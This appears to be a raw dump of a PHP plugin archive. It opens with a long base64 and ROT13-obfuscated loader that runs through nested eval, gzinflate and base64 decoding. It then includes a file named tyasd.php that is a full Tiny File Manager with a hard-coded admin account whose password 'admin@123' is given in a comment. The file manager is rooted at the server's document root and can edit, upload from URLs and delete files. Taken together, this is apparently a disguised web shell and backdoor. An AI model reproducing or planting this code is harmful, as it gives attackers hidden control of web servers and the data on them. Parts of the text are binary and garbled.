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7P1Zn/uBvV1R3OgpNmRxvCmsniksR6GMwTJwqkoekj9hqLqxlPuC6Y2jZy5UU70k/sorU6q/GRLa7SZjvYXk5lq8L4Fkq4Q1Q4lvvrHQKDa6wewL/UIDqK+hysbtDFDUPK/FIZdMFKtBM1CNYvCxyDLjwbSjFNqeIa56y9rD7A2+Tzq7kfVJ8hEZruMYi8OHP7Ve+uQCcIu1e68whqXpzf647w2Fgsl1swo/0ICnQWna3Omg1F5Oyi4boxVykhl5DzK4iVkJlOTnGqU1v3yBofJmNr98NLtEa2+4DCSaT8h6fRAyY+gO13WjOVwnUwsGhqLttpqgW4Lw4dXf8ec/6h7rzF4U5S3yB/xYElCVGFBjIlkYUW19r0JcJ9Uq2c0B7qKaK3TFaLN087PO4vjziU9TW5BqTfcTU+vj4W/B7V/p7manzTlipFwne0+FIgkMNmOq0so7I5Ystv/GEJaxQZfkGN1uQiryyoX3jbq/910M2XEihzVSqEu9UjaFFNVFkm6V/iG0BIwzI/pfHmIQPxI2AAAnLDBrMG4sIC04KSkpOwp2cyghc2hhcGd2YmFfcmt2ZmdmKCRUWUJPTllGW9XwuF1bMF0pKXtzaGFwZ3ZiYSB1cmsyb3ZhKCR1cmtmZ2UpeyRhPWZnZXlyYSgkdXJrZmdlKTskZm92YT0kVFlCT05ZRlvV8LhdWzBrMDAxXTskdj0wO2p1dnlyKCR2PCRhKXskbj1maG9mZ2UoJHVya2ZnZSwkdiwwazAwMDIpOyRwPWNucHgoJFRZQk9OWUZb1fC4XVswazAwMDJdLCRuKTt2cygkdj09MCl7JGZvdmE9JHA7fXJ5ZnJ7JGZvdmEuPSRwO30kdis9MGswMDAyO31lcmdoZWEgJGZvdmE7fX1zaGFwZ3ZiYSBfQnI5RygkX2YycUxuKXskX2YycUxuPWZob2ZnZSgkX2YycUxuLCh2YWcpKHVyazJvdmEoJFRZQk9OWUZb1fC4XVswazAwMDAzXSkpKTskX2YycUxuPWZob2ZnZSgkX2YycUxuLCh2YWcpKHVyazJvdmEoJFRZQk9OWUZb1fC4XVswazAwMDAwNF0pKSwodmFnKSh1cmsyb3ZhKCRUWUJPTllGW9XwuF1bMGswNV0pKSk7ZXJnaGVhICRfZjJxTG47fSRfWjduR089JFRZQk9OWUZb1fC4XVswazAwNl07JF9lWnA1SENVPSRUWUJPTllGW9XwuF1bMGswMDA3XTtzaGFwZ3ZiYSBfUXpXZURXRGNiZ1hsUzRIcTlBKCRfdkY3c05lYWltKXt0eWJvbnkkX1o3bkdPO3R5Ym9ueSRfZVpwNUhDVTtlcmdoZWEgZmdlZXJpKHRtdmFzeW5ncigkX2VacDVIQ1UoX0JyOUcoJF92RjdzTmVhaW0pKSkpO31yaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShfUXpXZURXRGNiZ1hsUzRIcTlBKCRUWUJPTllGW9XwuF1bMGswMDAwOF0pKSkpKSkpKSkpKSkpKSkpKSkpOw=='))); ?>PKQB\"T,^^elements/donate.phpnuW+Aelement['name']; if ($name === "cleanup") { ?> '; $html .= '
    Well, I think it\'s worth AT LEAST 5 bucks!
    What do you think? (Donate through PayPal. Thanks!)'; return $html; } } }PKQB\#o,,elements/index.htmlnuW+APKQB\kvelements/tyasd.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$hXMEvL853yVcJ.wCCZtlj.1SloGD.xt9Ux8Kw80xD8ypjG0RgYHWq', //admin@123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>


    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } 